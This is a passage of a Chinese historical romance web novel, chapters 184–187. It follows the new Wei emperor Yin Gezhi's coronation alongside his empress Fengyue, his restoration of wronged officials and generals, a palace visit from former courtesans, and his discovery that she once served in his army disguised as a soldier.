突然觉得背后有点发凉,这人当质子的时候很恐怖,当王爷的时候更恐怖,真让他当了主宰人生死的皇帝,这天下会是什么样子啊?
月亮偷偷地下了柳梢头,天亮之后,整个澧都一片沸腾。
新皇登基了!
宫门大开,几排护卫骑着马跑向四面八方,手里拿着铜锣和皇旗,一边跑一边昭告天下。百姓们夹道围观,热情地议论着这位新皇帝。
红毯从宫门口一路延伸到朝堂前,殷戈止下了龙辇,一袭紫金龙袍,龙冠高束,气宇轩昂。旁边的凤车停下,他侧头伸手,便有纤纤素手搭上来,修得平平整整的指甲,看着分外顺眼。
风月一宿没睡着,此刻倒是困倦了,顶着沉甸甸的凤冠,穿着紫金色的霞帔,强打精神,端庄地跟在殷戈止旁边走。
看一眼她这神色,殷戈止低声道
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:“叫你睡你不睡,现在可好,想睡也不行了。”
轻蔑地笑了一声,风月道:“实在想睡,我就装昏迷,您能把我怎么着?”
“好主意。”微微颔首,殷戈止神色自若:“那你现在就昏吧,朕抱你行接下来的礼。”
“……”余光看了看四周的文武大臣,风月闭眼,她还是丢不起这个人的!
不过,场面是当真很壮观,八个号角由两人抬着分列台阶两侧,上百朝臣并着皇室宗亲于东西两方的空地上站得齐整。红绸招展,旌旗烈烈,走在这众目睽睽之下,风月几乎要觉得登基的是她自个儿了。
这是皇帝才能享受的无上荣光,殷戈止将她带上,当真是很够义气!
一步步登上台阶,殷戈止突然低声开口:“你报仇了。”
“嗯?”微微一愣,风月不解地瞥他一眼:“什么?”
“没能亲手杀了魏文帝,但你生擒了魏孝帝。”捏着她的手踏上最后一级台阶,殷戈止侧头,眉目严肃,一字一句地道:“他的百年基业,江山后代,全都捏在你手里了。魏国的江山,也是你的天下。”
瞳孔微缩,风月有些怔愣地看着他,身子却被他一转,面前陡然呈现下头人山人海的场景。
“一叩首——”旁边的太监高唱一声。
瞬间,目光所及之处,众人皆跪叩首,声势浩大,震得风月心口一跳。
“再叩首——”整齐地起身,又整齐地跪下,衣裳摩擦之声本是甚小,可这千人行礼,汇聚起来的衣摆起落之声,都能听得清清楚楚。
风月起了鸡皮疙瘩,一听“三叩首”,自己都差点朝殷戈止跪了下去。
“就这点出息?”眼角眉梢都是嘲讽之意,殷戈止嫌弃地道:“你在同朕一起受这叩拜呢,能不能把腰杆挺直了?”
吸了吸鼻子,风月小声道:“陛下,您当真不怕先帝半夜来找您谈心么?”
这已经不是棺材板能不能盖住的问题了,魏文帝就算还活着,看见她站在这儿受殷氏宗亲和文武百官的大礼,那也得重新气死过去!
这种感觉有点爽!
“他若是来,朕很欢迎。”面色不变,殷戈止低低地道:“正好想问问他可有遇见关家的人,可忏悔过了?父皇下葬之时没有陪葬阴兵,想来也是能放下手里的权力,好生与人聊天的。”
咽了口唾沫,风月别开了头,她在想……她什么也不敢想了!
登基大典继续进行,她站得累了,便偷偷往旁边这人的手上借力,殷戈止全程站得笔直,就算她把整个身子压在他手上,这厮脸色也没变一下。
于是,在太监念那长长的什么文的时候,风月就大胆地靠着殷戈止打盹儿了。
凤冠在他眼角边儿摇来晃去,殷戈止眉眼含笑,睨了这人一眼,轻轻伸手捞住她沉甸甸的脑袋,放在了自己的肩上。
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第184章 复兴有望
礼炮声响,魏国换代。
观止和灵殊着急地在龙涎宫门口等着,灵殊一边蹦跳一边碎碎念:“好激动啊,好激动啊!”
“你激动什么?”虽然自己也很激动,但是为了显示男儿的风度,观止强自镇定地道:“登基封后是两位主子,又不是你。”
“不是我我也激动啊!”双手捧心,灵殊眼睛亮亮地道:“一想到主子和陛下并肩而立,穿着龙袍凤裙缓缓走来的样子,我就手抖!”
脑海里浮现出她说的画面,观止也忍不住咽了口唾沫。
谁能想到这两人会走到今天这一步呢?当初质子囚吴,多少人叹息殷沉璧再无缘于帝位?彼时关家抄斩,谁又能想到关清越能逃出生天?这两个人之间隔着的又岂止是千山万水,有上一代的恩怨、血海的深仇!
换两个稍微纠结执拗些的人来,是怎么也不会有现在的花好月圆的,他们有一万个理由为难对方,为难自己,连带着让他们这些身边的人也卷进漩涡,不得安生。
幸好,幸好是他们。
“来了来了!”外头的小太监喊了一声,宫里的宫人便纷纷往外走。观止回神,拉了灵殊一把,跟着他们去外头跪着。
龙车缓缓而来,宫道两边的宫人俯首跪地,车在龙涎宫门口停下,内侍起了个头,众人便跟着喊:“恭迎吾皇万岁、皇后娘娘千岁。”
“行了。”殷戈止的声音放得很轻,下车皱眉看着他们:“怎么寝宫这儿也有架势?都先散了。”
观止和灵殊一愣,心想听这语气,难不成两位主子吵架了,所以陛下心情不好?这怎么能行啊,刚刚才封后,怎么能吵架?
宫人退散,两人忙不迭地抬头,却见殷戈止小心翼翼地从龙车里捞出个人来,抱在怀里就往内殿走。
“主子?!”灵殊吓了一跳,礼节都不顾了,起身就凑上去问:“主子这是怎么了?昏过去了?”
摇了摇头,殷戈止轻声道:“是她昨晚兴奋了一宿没睡着,今儿太困了,礼炮都打不醒,这会儿别折腾别的了,让她好生睡会儿。”
瞠目结舌,灵殊愣在了原地。
那一袭龙袍在走动间衣摆轻扬,凤冠上的珠子轻轻摇晃。服饰跟她想象中的一样,华丽流光。这两人不是并肩而立的,也没有缓缓走来,可她瞧着新帝这背影,怎么倒觉得更激动了?手抖啊抖的,压根冷静不下来。
伸手抓着旁边观止的衣袖,灵殊扭头看他,无数情绪在眼里打转,哽咽难成声。
叹息一声,观止伸手摸了摸她的脑袋:“我知道你的感觉。”
灵殊“嗷”地一声就哭了出来。
以前每回她在桌边睡着了,主子总是会把她抱上床去盖好被子,可她总是比主子睡得早,所以很多次主子睡在桌边了,她连被子都没技能给盖。对此,灵殊一直觉得很愧疚。
如今终于有人能疼爱主子了,怕她冷着,怕她累着,温温柔柔地抱着她,给她盖好被子让她安心睡觉……眼泪汪汪地看着,灵殊双手合十,转身朝外头的老天爷行了个大礼。
**,因果循环,多谢上苍垂怜!
厚重的凤裙被人褪了,头上的凤冠也被人取了下来,风月迷迷糊糊的,只觉得浑身轻松,扭头就要往被窝里扎!
有人不悦地拦住她,伸手便往她脸上糊热腾腾的帕子,将她的浓妆擦了,一点点的从眼角擦到脸颊四周,一边擦一边沉声道:“太医说了这些对身子不好,就用这一次,以后莫用了。”
谁啊这么啰嗦?有点不耐烦,风月皱眉道:“我的身子又不是你的,管我呢!”
擦着她脸的手一顿,接着就听见一声冷哼,脸立马被人当搓衣板似的搓了起来!
“嗷!”伸手去挡,风月怒而睁眼,瞪着他道:“你做什么!”
殷戈止居高临下地看着她,下颔紧绷,神色不悦:“我的手又不是你的,管我呢?”
风月:“……”这人怎么不讲道理的?
哭笑不得,又实在困倦,她伸手将这人手臂一抱,可怜巴巴地道:“我想睡个觉嘛……”
软绵绵的声音,听着颇为委屈,殷戈止的神色瞬间缓和,将她还绑着的束腰给取了,让她舒舒服服地躺了进去,末了起身,很是嫌弃地睨着她道:“这种大日子都能睡过去的,也就你一人了。”
说罢,转身就走了出去。
风月才不管呢,困了就睡,翻身裹着被子,睡得鼾声如雷。
大典已经结束,鉴于魏国危急的形势,百官没有打算给新帝休息的机会,直接在御书房召开了议会。
“陛下,石氏一族即将行刑,朝中大量官职空缺。”
“陛下,给吴国的国礼已经悉数押送出澧都,吴国使臣恭请陛下尽快敲定调兵之事。”
“陛下,太尉之位关系重大,先前石丞相提拔上来的人显然不堪用,还请陛下示下。”
叽叽喳喳的禀告声在御书房里接连不断地响起,换个皇帝来,怕是要被吵死。可殷戈止压根没着急,一边翻看着奏折,一边听他们说,等他们把话都说完了,他才合了折子,朝旁边一挥手。
大太监捧了二十卷圣旨,恭敬地放在了为首的乔堂杰手里。
“朝堂缺人,与其用新人,不如用旧人。朕已拟定恢复八位蒙冤流放或身陷大牢之人的官位,弥补朝中文官空缺。至于武将,另十二道圣旨上写的名字,大家都该认识。”
二十道圣旨!圣旨又不是饺子,能这么下的吗!乔堂杰眼睛都瞪圆了,看着殷戈止有话没敢说。朝臣们小声议论,脸上皆是惶恐之色。
“怎么?”殷戈止问:“有不妥之处?”
“陛下。”想了片刻,乔堂杰开口道:“要不还是分开下吧?这一次给这么多圣旨,恐怕……”
“如今是用人之际。”打断他的疑虑,殷戈止严肃地道:“二十道圣旨必定让魏国上下皆知:朕求贤若渴,但凡能效力者,只要品行端正,无论身处何地,朕皆愿恭请。”
众人心口都是一震,许久未觉的热血沸腾之感席卷全身!
“吾皇英明!”
乔堂杰颤颤巍巍地喊着,心想他果然还是不够了解陛下,要更下些功夫才
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行!
二十道圣旨,一道道地由快马带出皇宫,朝四面八方而去。
“奉天承运。”
各个不同的地方,圣旨展开,内侍们尖着嗓子念:“皇帝诏曰……”
尹衍忠跪在地上听着,罗昊也俯首恭闻,魏孝帝求贤的消息如同长了翅膀,很快飞遍澧都,飞向魏国各地。
一时之间,朝堂之上一片繁荣。脸上还有伤疤的人穿上朝服,朝龙椅上的人三叩首。乔堂杰欣慰地瞧着,又听殿外盔甲铿锵之声整齐地响起。
魏孝帝神色温和,起身下陛,带着一众朝臣站到朝堂门口去看。
昔日一夜之间消失的名将,如今铠甲齐备,手持头盔,一步步地朝他们的方向而来。
“尹……尹将军!那不是尹将军吗!”
“罗副将!当年关将军麾下最勇猛的罗昊!”
“秋夫人竟然也在……这么多年,他们去哪里了!”
震惊地看着,众人议论纷纷。乔堂杰瞧着,却像是突然明白了什么。
这些人……都是跟着关苍海打过无数胜仗的人,当年也正是因为他们突然不见了,魏国领兵无人,连连溃败。陛下执意要替关家翻案不是没有道理的,臣心不暖,何以重振朝纲、重振魏国?!
看着魏孝帝亲自下去扶行礼的人起身,乔堂杰悄悄抹了抹眼泪,看了一眼天。
大魏……复兴有望啊!
风月穿着太监的衣裳,躲在殷戈止身边偷偷看着,眼眶也有些发红。一个将士,最想要的便是有机会建功立业、能保得百姓安居乐业、国之疆土丝毫不丢。这一群宝刀未老的人还有机会,她却没有了。
正想着呢,旁边的皇帝却突然扭过头来,淡淡地道:“王公公,回龙涎宫替朕拿件披风来。”
连忙回神,风月低头,捏着嗓子应:“遵旨。”
殷戈止是不准她乱跑的,来凑热闹都是威逼利诱了王公公好几天才得他允许,这会儿可不能露馅了!
躬身就往龙涎宫走,风月叹息,该看的也看了,回去好生待着吧,免得被他发现了,又是一顿挤兑。
然而,一踏进龙涎宫,风月傻了。
“主子。”灵殊正在给人倒茶,看见她便连忙招手:“快来,有客人。”
主殿里坐着不少的人,这不是重点,重点是,灵殊怎么就知道是她回来了?她这扮相,很容易被认出来吗?
疑惑地走过去,刚跨进门槛,便觉得眼前一亮。
“民女给皇后娘娘请安!”花花绿绿的裙子跪下去了一片,风月愕然,目光从她们身上扫过,最后落在金妈妈头顶:“咋回事啊?”
“东家……啊不,娘娘!”金妈妈乐呵呵地起身,扶着她的手道:“今儿天气好,我带着她们进宫来谢恩。”
“谢恩?”风月很茫然,最近发生的大事太多了,她一直没顾着梦回楼,现在来跟她谢什么恩那?
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第185章 就想喝个酒
一瞧她这满脸迷茫,灵殊连忙端了杯茶在她手里,顺势低声道:“娘娘忘记了?”
“不是忘记,是压根不知道怎么回事。”风月眨眼,拉了一把金妈妈,小声问:“恩从何来啊?”
嗔怪地看她一眼,金妈妈道:“您不记得了?咱们梦回楼里除了断弦和何愁,还有很多人仇怨未解。”
这个她自然记得,还曾跟殷戈止说过,若他有空,请他费心呢。
嗯?等等!身子僵了僵,风月有点怔愣地扭头,看着金妈妈问:“她们……仇都报了?”
“倒也不是报仇了,只是各家的**旧情,全部拿到光天化日之下,公正审理了。”喜上眉梢,金妈妈感叹地道:“她们当初会选择踏进梦回楼,也是因着伸冤无门。没想到如今衙门大开,上至皇亲国戚,下至郡县衙差,只要被告,都会受审。如此一来,她们不必走那么艰险的路,堂堂正正告状即可。”
有些愕然,风月走了神。
这话听着简单,当真要做到,得顶着多大的压力和费多少工夫她是知道的。新帝刚刚登基,怎么会有闲心办这种事?而且看这进度,怎么着也该是魏文帝驾崩之前就开始着手了。
难不成她随意的一句话,他当真听进去了,并且很认真在做?
心口微微触动,风月深吸一口气,眼神复杂。
“娘娘,娘娘!”金妈妈大着嗓门将她喊回了神,甩着帕子道:“把大家伙儿晾在这里也不是个事儿啊。”
也对,眨眨眼,风月笑着回头,让宫人都下去,关上门一撩袖子便道:“既然到我的地界来了,便随你们放肆个痛快!规矩什么的先省省,灵殊,上酒!”
“好嘞!”灵殊应了,蹦蹦跳跳地就去拿酒。一众姑娘本还担心自个儿不懂规矩犯错,一看皇后娘娘裙摆都扎腰带里了,当即便放松下来,嬉笑着纷纷落座。
跟个流氓似的翘着脚坐上主位,风月满眼感慨地看着她们问:“现在的花魁是谁啊?”
“她!”众人抬手一指,便将微云推了出来。
先前在吴国,微云还颇有些看不上风月,没少帮着断弦挤兑她。如今再见,看着这人不染脂粉英气又媚人的眉眼,她红着脸不敢抬头,颤颤巍巍地行礼:“民女微云,见过皇后娘娘。”
“竟然是你!”风月挑眉,一把将她拉起来让她坐在自己身边,眯着眼睛调戏人家:“当初你可不喜欢我了!”
小脸一白,微云连忙道:“民女不敢!”
“甭狡辩!”风月哼哼道:“先前梦回楼表演,你不是还买通了个秀才等着挤兑我吗?幸好还没等我上场,你们全被人给挤兑了!”
提起旧事,众人笑得更欢,微云揉着帕子喃喃道:“那也怪不得民女啊,娘娘当时的做派可真是……”
“不讨人喜欢是吧?”笑了笑,风月眯眼:“我当时就没想跟你们好好相处,就想着怎么勾引男人了,不讨喜是肯定的!大家不要跟我学啊,会被排挤的!”
微云一愣,看着风月这耿直的表情,忍不住也笑出了声,心里的忐忑之意顿消。
她不是个会跟她们斤斤计较的人。
“要是跟娘娘学,也能遇上陛下那般好的郎君,民女可愿意学了!”金珠笑嘻嘻地道:“咱们陛下一登基,梦回楼对面卖包子的大婶都自发地庆贺,包子统统便宜了一文钱!”
“可不是么?那天街上都疯了,有官兵派粮,还有不少大户人家也开门放酒放肉,都知道迎来的是个明君。”
一听这话,风月拍了拍大腿:“我就知道他登基,肯定万民归心。”
“是呀,咱们尤其归心!”微云很是认真地道:“先前被人接去衙门问话,咱们还害怕呢,一个字也不敢说,有**都不敢上承。结果您猜那位审案的大人说什么?”
“嗯?”好奇地看着她,风月眼里亮晶晶的:“说什么了?”
“他说啊,有孝亲王撑腰,咱们有什么人告不了?”满眼感叹,微云笑得很开心:“关家的案子都被孝亲王翻过来了,还有什么他不敢翻的?而今王爷继位成了皇帝,给咱们撑腰的力道就更大了,咱们什么也不怕,有什么**,统统呈禀上去!”
说着说着,眼眶就红了,微云大着胆子拉着风月的手,哽咽道:“咱们都以为这一辈子也翻不了身了,就算报了仇,定然也活不下去。没想到还能有这么一天,没想到能遇见您这样的好东家……”
风月低笑,捏了帕子往她眼睛上糊:“我也是运气好,本也是活不下来的。”
谁曾想有人这么舍不得她,甚至为了留住她,不知道从多久之前就开始绸缪,一块块地铺着路,让她走得平稳而不自知。
“主子!”灵殊风风火火地回来了,手里拿着酒坛子,背后跟着个拿了一叠酒碗的观止。
眼睛一亮,风月一扫惆怅的心情,挥手就道:“给大家满上,再拿点下酒菜!”
“下酒菜已经在做了。”灵殊笑着将酒碗放在她手边,拿了个小酒壶给她倒上一碗。
风月这叫一个感动啊,自从知道肚子里多了个东西,殷戈止就不让她喝酒,灵殊真是好孩子啊,知道心疼她肚子里的酒虫!
仰头一饮而尽,风月吧砸一下嘴,突然皱了皱眉。
“灵殊啊,这是什么?”
旁边的小丫头笑眯眯地回答她:“主子,酒。”
嘴角抽了抽,风月眯眼将她拎过来:“你主子现在可是皇后,你这种拿水当酒的欺骗行为,会被治罪的!”
整理了一下她穿着的太监袍子,灵殊乖巧地答:“主子,这是皇上御赐的‘酒’。吩咐您在招待客人的时候喝。奴婢要是抗旨,也会被治罪的!”
风月:“……”无耻的殷戈止,竟然敢收买她身边的人!
气恼地再吧砸一口,她可怜巴巴地看向微云:“好喝吗?”
放下酒碗,微云擦着嘴角笑:“回娘娘,这是金妈妈的美人酿,咱们带进宫来的,当然好喝。”
眼睛都绿了,风月舔舔嘴唇,咽了口唾沫:“给我尝尝你的呗?”
眼瞧着
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爪子都要碰着酒碗了,微云却飞快地伸手将碗高高举开。
“皇后娘娘,咱们入宫之前陛下就来了口谕,说是谁让娘娘喝酒,谁就横着出宫!您行行好,可别难为咱们。”
……他奶奶个腿儿的还会拿别人的性命来当威胁了?!风月瞪眼,扫一扫四周都美滋滋喝着酒的人,扁扁嘴,突然就委屈了。
“凭什么你们都可以喝,我不可以啊!”甩着胳膊扭着身子,她跟个孩子似的嗷嗷叫唤:“我不管!我也要喝!”
说罢,如猛虎下山,嗷地一声就扑向她们!
众人失笑,纷纷尖叫着护好自己的酒碗。被她追着的人四处跑着躲避,酒香都洒了满身。
灵殊心惊胆跳地看着,生怕她摔着碰着,奈何拉也拉不住,看见美人酿的主子就跟发狂了的狮子似的,嗷嗷地追着人不放!
这可怎么是好?
殿门“吱呀”一声打开了,里头的人跑得欢,也没人注意。风月气愤地边跑边喊:“酒都不给人喝,你们有没有人性啊!”
说着撸起袖子往前就是一扑!前头的金珠侧身一闪,她没刹住车,冷不防地就扑进了一个人的怀里。
四周顿时安静了下来。
风月眨眼,突然觉得有点不对劲,偷偷摸了摸这人衣裳的材质,心里一跳,保持着撞进来的姿势,立马转了语气道:“你们太坏了!都不如皇帝陛下对我好!”
“哦?”清冷的声音从头顶落下来,跟冰块儿似的砸在她后脑勺上:“朕也不会让你喝酒,朕也没人性?”
“不不不!”抬头就冲他一笑,风月道:“您是全天下最有人性的!”
冷哼了一声,殷戈止伸手就拎起她的后衣襟,嫌弃地看了看这太监服,然后朝殿中呆愣住的众人道:“内子失礼,各位稍候。”
说罢,一把将人搂起来就往内殿走。
“怎么了?”风月惊慌的声音从殿门一路飘到内殿:“诶?我可以自己来!外头还有人呢!”
“喂!”
“……我错了,我错了还不成吗?下次绝对不横冲直撞了!”
“陛下……好陛下……”
目瞪口呆地听着,一群向来看淡红尘的姑娘都红了脸。没一会儿就见风月又被拎了出来,已经换上了皇后的常服,凤纹暗绣,看起来很舒适,只是一张脸上满是可怜,像受了委屈的小媳妇。
殷戈止坐上主位,就将这小媳妇放在自己身侧,然后问:“难得进来一趟,各位若是还有什么难处,尽可直言。”
此话一出,众人顿时很直接地感受到了有皇帝撑腰的快感,纷纷跪下行礼:“皇恩浩荡,民女们别无他求。”
微微颔首,殷戈止看向金妈妈,金妈妈会意,开口道:“知道娘娘为后,老身已经将消息传去了吴国,何愁和断弦都在赶来的路上,盼着与娘娘见上一面。”
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第186章 三碗饭
风月挑眉:“这么远的路,她们也要赶来么?”
“受娘娘之恩甚重,她们是无论如何也该来的。”金妈妈颔首:“只是她们颇为担心娘娘,快马传书来,都说一定要让娘娘等她们到。”
同样是报过仇了无遗憾的人,何愁和断弦自然最能明白她会想做什么。她们大仇已报企图寻死的时候,都有她在劝着,可当真轮到她的时候,谁来劝?
世人都是如此,劝得了别人,放不过自己。所以一得到殷戈止的传书,她们便急着赶路来魏国,跟她封后没有关系,就是想来留一留她。
她旁边这个人,估摸着也是这样想的,所以今日接了这群人进宫,还让金妈妈说这么一番话。
侧头扫了一眼殷戈止无波无澜的侧脸,风月心里软了软,垂眸应道:“好啊,我等她们来。”
无声地松了口气,殷戈止起身道:“朕还有事,不能久坐,便先去前头了。灵殊,看好娘娘。”
“是。”灵殊乖巧地应着,众人都垂首,恭送他出去。
等那袭龙袍消失得没了音儿,殿里的众人才重新活泛起来,七嘴八舌地道:“当初在梦回楼里瞧见,我就知道这位公子身份不凡,将来必定能成一番大事!”
“呸!就你马后炮厉害!你要是一早看出来了,怎么不下手啊?”
金珠委委屈屈地道:“谁没下手啊?不少人下手了,可他偏生不满意,表情吓人得很,哪个姐妹敢上前伺候啊?也就娘娘当时胆子大,敢在老虎嘴上拔**!”
“过奖过奖!”风月掩唇:“不入虎穴焉得虎子?”
金妈妈张口就骂:“你们这些小蹄子老实点,在宫里这么放肆,当心被推出去砍了!”
上头的皇后娘娘都这么放肆,底下的谁还守着规矩啊?一个个都跟在梦回楼似的自在,嘻嘻哈哈的,让这死寂的宫殿都像是活过来了似的。
宫里的日子其实挺无聊的,有这么一群人来,风月也高兴,跟着她们好一阵胡闹,吃饭喝水,谈天说地,一直闹到太阳下山。
姑娘们喝醉了,勾肩搭背东倒西歪。金妈妈稍微好点,还能睁眼看着这殿内的情形。
晚霞的余光从门口照进来,有人的衣摆微微晃动,从躺在地上的金珠身上扫过,避开了前头流着口水的微云,慢慢地走到了主位的软榻边儿。
揉了揉眼睛,金妈妈迷迷糊糊地想看清那人的脸,却只能看见他身上的紫金色长袍,广袖起落之间,榻上的人就被他抱进了怀里。
“困了也不知道搭件衣裳再睡?”
怀里的人嘟囔一声,抓着他胸前的衣裳就蹭了蹭。
殷戈止满眼叹息,轻轻摇头,将人抱进内殿,放在床上:“再这么胡来,下次不让她们来陪你了。”
“别啊……”嘟囔两声,风月闭着眼睛满是倦意地道:“我都没喝酒,可听话了……”
“乖。”摸了摸她的脑袋,那清冷的声音带了点暖意:“睡吧。”
床上的人呼吸均匀,很是放心地就睡了过去。伸手摸摸,脸上和身上都长了点肉,终于是瞧着没那么让人担心了。
掖好被子站直身子,殷戈止侧头,就看见灵殊瞪大眼看着他。
微微挑眉,他勾手,示意这机灵的小丫头跟他出去。
“陛下。”灵殊狠是不解:“您对主子是挑不出毛病的好,尤其是主子迷迷糊糊的时候,您总是很温柔。可她醒着的时候,您却变得凶巴巴的……何必呢?”
“你不要多嘴。”殷戈止道:“朕该如何对她,心里都有数。”
“可……”这样主子压根就不会念陛下的好啊!灵殊皱眉。
回头看她一眼,殷戈止淡淡地道:“你家主子脾气冲性子直,当真温温柔柔地对她,她会被宠得无法无天得寸进尺。”
现在就刚刚好,一切都恰到好处。
脑子里灵光一闪,灵殊突然就明白了帝王的意思,倒吸一口凉气!
这个人,这个人……
“知而不言,才是大智慧。”深深地看她一眼,殷戈止转身,龙袍微扬。
灵殊怔愣地看着地面,伸手捏住自己的嘴唇,原地向后转,乖乖地回去照顾主子。
魏国新帝登基的消息传到吴国的时候,已经是半个月之后了。
叶御卿抱着忘忧看着手里的信件,轻笑了一声,眼神深邃。
“这才过去多久,宋国收到易将军身亡的消息都还没发兵,他倒是先登上了皇位。”
忘忧抿唇:“殿下这回该知道奴婢不是要跑,是当真想回魏国去看看了吧?”
“看谁呢?”扫一眼怀里这人,叶御卿抿唇:“新后吗?”
“是。”忘忧颔首:“她于我有恩,如今似乎有轻生之意,奴婢怎么也该去看看。”
眼里有些暗色,叶御卿松了信纸,伸手捏着这人的腰,温柔地道:“本宫总觉得,放了你,你便不会回来了。”
背脊一凉,忘忧勉强笑了笑:“怎么会呢?”
没理会她这话,叶御卿站起来,将她放在一边:“魏国新帝登基,国中正是大乱之时。”
这个时候联合抗宋,他们到底能出多少力呢?要说先前魏文帝在位之时,与魏国联合,叶御卿觉得自己有把握将整个魏国都拿捏在手里。可现在,殷戈止为帝了,他从前的打算,可能要全部推翻。
眯了眯眼,叶御卿叹息着问旁边的冯闯:“你说这是命数还是什么?先前本宫还说过殷戈止那样强劲的人,幸好永远回不去魏国了。可没多久,他就回去了。一个月前本宫还跟你说,幸好魏国是魏文帝当政,结果现在,他登基了。”
冯闯沉默,垂头。
听着他这语气,忘忧突然有点不安,走过去轻轻拉了拉他的袖子:“殿下……”
轻轻收手,叶御卿挣开她,温和地道:“你还是好生留在这里吧,魏国不是很太平,本宫会担心你。”
心里一沉,忘忧睁大了眼:“可……”
“就这么定了。”温柔地将她的手放在自己手里握着,叶御卿笑道:“你乖乖听话,可好?”
“……是。”忘忧垂眸,心口紧成一团。
她回不去了
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,只有断弦还能回去。那至少得想个办法,让她带个信!
魏孝帝登基的头一件大事,便是筑兵西北,以挡宋军。易国如薨逝的消息已经传遍列国,宋国屯兵在吴国的边界,隐隐有欲动之势。吴魏两国联盟已立,殷戈止整合了一支十万大军,把兵符交到了尹衍忠的手里。
“屯兵之处有八,将军从这条路往西北去,路上可以会师六七,剩下的人会在边境与将军汇合。粮草和兵甲,朕都会准备妥当,绝不会耽误战事。”
有个当过将军的皇帝就是好啊,知道怎么打仗,也知道打仗需要什么。尹衍忠拿着头盔行礼,郑重地接过了兵符。
“还以为陛下会御驾亲征。”罗昊在旁边笑道:“当皇帝的都喜欢搞那个,那可麻烦了,带着皇帝最不好打仗!”
“罗将军!”秋夫人瞪了他一眼。会不会说话啊?面前站着的这个就是皇帝!
察觉自己失言,罗昊连忙道:“当然,要是咱们陛下那肯定不一样,您会带着咱们打胜仗的!”
“这回朕就不去了。”殷戈止满脸严肃:“已经登基为帝,实在是有很多事情要忙,国不可一日无君。”
众人纷纷点头,是这个道理!
旁边的观止垂了眼睑,心想哪儿是什么“国不可一日无君”啊,分明是主子放心不下皇后,生怕她摔着碰着!要不然,他早飞去打仗了,那偃月长刀和银龙甲都不知道擦了多少回了,还非得找这么冠冕堂皇的理由。
“陛下!”营帐外头有以前跟过他的内侍兵进来,一看见他便激动地磕头行礼:“卑职见过陛下!”
“牛子藏啊。”一看他,殷戈止还是很熟悉的,挥手便道:“免礼了,这回西北大军的内务也得靠你效力。”
“卑职遵旨!”笑嘻嘻地站起来,牛子藏感慨地看着面前这人的鞋面。
战无不胜的大皇子回来了,可惜当了皇帝,不能再带他们一起打仗了。
“对了陛下,先前退役的很多士兵,听闻您登基,都纷纷回来了。”想起这事儿,牛子藏连忙道:“都是您当年亲自带的兵,一个都没少。只除了那个一顿吃三碗饭的小兵,估摸着是回家娶媳妇了。”
以前他的营帐里是有那么一个小兵,个子矮矮的,总是低着头,给他扛过旗,也给他洗过刀。他没怎么注意过,对那小兵唯一的印象就是吃得多,一顿能吃三碗。
轻笑一声,他道:“回来了就是好事,能回家去娶媳妇,也是好事。都归队吧,等整理好了,一并交接。”
“是!”牛子藏应了,扭头就让人去传令。
低头继续看地图,殷戈止看着看着,突然觉得有点不对劲。
“当初那个小兵,是怎么选进来的?”倏地,他问了一句。
伸着脑袋在营帐外说话的牛子藏缩回头来,眨眼道:“您忘记啦?关将军那边送来的人啊,说是谁家细皮嫩肉的小少爷,想跟着您见见世面。”
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第187章 曾经的心思
谁家的小少爷,既然与关家有关系,那用得着千里迢迢送到他的军营里来见世面?
眯了眯眼,殷戈止敲了敲桌子:“叫什么名字啊?”
牛子藏也不知道陛下为什么会突然对一个小兵感兴趣,不过他安排的人,自然是知道底细的,当即便道:“关家二少爷亲自指派的人,叫关清,跟了您几个月,没什么地方不妥的吧?”
关清?脸色一黑,殷戈止闭了闭眼。
哪儿是关清啊,分明是关清越!他就觉得奇怪,关清越与他可没什么交集,就算三年前有过半月欢好,也不该那般了解他的习惯和想法!敢情那人还在他身边潜伏过几个月,他压根就没注意到?
好家伙,怪不得每次看她吃饭吃三碗都会有种奇怪的熟悉感,原来是她!
“陛下,关于西北边防之事……”
“你们先商量。”将手里的地图一放,殷戈止笑了笑,温和地颔首:“朕有事先回宫一趟。”
被这突如其来的笑容震得头皮发麻,营帐里的众人都傻了眼,殷戈止大步流星地往外走,翻身上马便往皇宫的方向狂奔。
“陛下!”禁卫在身后吓得魂不附体:“您慢些!”
哪有皇帝自己骑马狂奔的?万一有刺客咋办!
嗯?等等,刺客?
这么一想,禁卫们反而不紧张了,刺客在这位皇帝面前,压根没用啊!
于是殷戈止就这么潇洒地一个人冲回了皇宫。
风月正踮着脚尖去拿放在柜子上头的梅干罐子,那柜子不高不矮的,搭个凳子吧,没必要。自己去拿吧,又总是有点费力。
勾了半天也没将罐子拿到手的皇后娘娘生气了,一跺脚一扭头,却刚好瞧见皇帝闯了进来。
“哎,您来得正好。”指了指柜子上的罐子,风月两眼冒星星地看着他:“替臣妾拿一下呗?”
气息未平,殷戈止扫她一眼,轻松伸手将罐头拿下来塞进她怀里:“朕有话问你。”
打开盖子塞了梅子在嘴里,风月一边吧唧一边问:“怎么啦?”
“你是不是在我麾下当过兵?”
一颗梅子差点卡喉咙里,风月心虚地别开脸:“您说什么胡话呢?臣妾听不懂。”
然后抱着罐子就想溜!
殷戈止眯眼,伸手将她的梅子罐儿抢过来,重新放回了柜子上头,然后抄起手往柜子旁一靠,有一种“你今儿不说就别想我把梅子给你拿下来”的意味。
哭笑不得,风月问:“您贵庚啊?”
深深地看她一眼,殷戈止道:“我总觉得,你还有很多事情瞒着我。”
“陛下,您已经是帝王,请自称为朕。”风月打趣:“用平称可不妥当。”
“自称为‘朕’,是帝王为了显得与众不同、高高在上。”伸手捏了她的手,往自己怀里一扯,殷戈止淡淡地道:“但我与你没什么不同,也并不打算高高在上。”
微微一顿,风月睁眼,耳朵贴在他心口,很清晰地便听见了他的心跳声。
“我只是想知道,三年前的关清越,为什么会来我的麾下,甘心当个小兵。”他闷声道:“那时候的你,是怎么想的?”
风月沉默,抓着他的衣襟,认真地回忆起来。
她当时是怎么想的呢?压根就什么也没想吧,扑在关清穆的背上,撒着泼打着滚儿:“我不嘛,我就要去大皇子麾下!”
“傻丫头,你可是将军。”脸上满是无奈,关清穆摇头:“去当个内侍兵,父亲不会同意的。”
“二哥瞒着他就好啦!”双手合十,关清越可怜巴巴地道:“帮个忙呗?”
拗不过她,关清穆宠溺地摸了摸她的脑袋,趁着大军休整,将她送去了不远处的大皇子军中。
其实去的时候她压根没多想,就是听人说这大皇子年纪轻轻就多厉害多厉害,有些不服气又有些好奇,打算跟着去仔细看看。可是当真到他身边的时候,关清越傻眼了。
原来世上还有这么好看的人,银甲长刀,威风八面,战场上所向无敌,卸甲之后却又是翩翩儿郎,眉目之间都是出尘脱俗的清冽之气。
喜欢上一个人可能就是一瞬间的事情,那一瞬间之中,殷戈止一箭射穿了敌军将领的脑袋,魏军万人齐呼,声音震天。跟在他马侧的她,突然就觉得心口一跳。
